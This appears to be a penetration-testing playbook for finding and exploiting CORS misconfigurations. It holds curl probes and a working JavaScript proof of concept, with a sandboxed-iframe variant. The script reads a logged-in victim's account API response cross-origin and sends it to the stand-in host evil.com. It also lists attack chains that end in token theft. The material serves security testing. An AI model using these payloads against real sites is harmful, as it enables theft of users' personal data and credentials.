CORS Misconfiguration Playbook

A permissive Access-Control-Allow-Origin (ACAO) becomes critical the moment it is paired with Access-Control-Allow-Credentials: true (ACAC) — any origin the server reflects can read authenticated responses (PII, API keys, CSRF tokens). ACAO alone (no credentials) is usually Low unless the endpoint serves secrets to unauthenticated requests.

1. Detection — probe origin reflection

# Reflected-origin + credentials = the critical case
for o in "https://evil.com" "null" "https://<TARGET>.evil.com" "https://evil.com.<TARGET>"; do
  echo "== Origin: $o =="
  curl -s -D- -o /dev/null "https://<TARGET>/api/account" -H "Origin: $o" \
    | grep -i "access-control-allow-origin\|access-control-allow-credentials"
done

# Preflight behaviour (which methods/headers are allowed cross-origin)
curl -s -D- -o /dev/null -X OPTIONS "https://<TARGET>/api/account" \
  -H "Origin: https://evil.com" \
  -H "Access-Control-Request-Method: PUT" \
  -H "Access-Control-Request-Headers: authorization" \
  | grep -i "access-control-"

A response echoing Access-Control-Allow-Origin: https://evil.com and Access-Control-Allow-Credentials: true confirms exploitable reflection.

2. Misconfiguration matrix

3. Exploit PoC — credentialed cross-origin read

<!-- host on attacker origin; victim must be authenticated to <TARGET> -->
<script>
  const url = "https://<TARGET>/api/account";
  fetch(url, { credentials: "include" })
    .then(r => r.text())
    .then(data => navigator.sendBeacon("https://evil.com/collect", data));
</script>

For null-origin servers, deliver the same script inside a sandboxed iframe so the browser sends Origin: null:

<iframe sandbox="allow-scripts allow-same-origin" srcdoc="
  &lt;script&gt;fetch('https://<TARGET>/api/account',{credentials:'include'})
   .then(r=&gt;r.text()).then(d=&gt;fetch('https://evil.com/c?d='+encodeURIComponent(d)));&lt;/script&gt;">
</iframe>

4. Chains

• CORS → token theft → CSRF: steal the anti-CSRF token from a reflected JSON response, then forge state-changing requests that previously looked protected.
• Subdomain XSS → CORS: server trusts *.target.com; an XSS (even DOM-only) on a forgotten subdomain runs in an allowed origin and reads the main API.
• CORS → API key / PII exfil: any endpoint returning bearer tokens, account data, or internal config becomes a one-click mass-exfil primitive.

5. Tools

• Corsy — fast misconfiguration scanner (python corsy.py -u https://<TARGET>)
• CORScanner — origin-reflection + regex-flaw detection
• Burp Suite — CORS checks (active scan) + manual Origin fuzzing in Repeater

6. Detection signatures & OPSEC

Decision Gate: CORS confirmed → exploitation

• ACAO reflects an attacker-controlled origin (or null)
• ACAC is true (or the endpoint serves secrets without auth)
• A sensitive response body is readable cross-origin
• PoC exfiltrates real data from an authenticated victim context If all checked, escalate per finding-protocol; otherwise downgrade to informational (ACAO without credentials/secrets).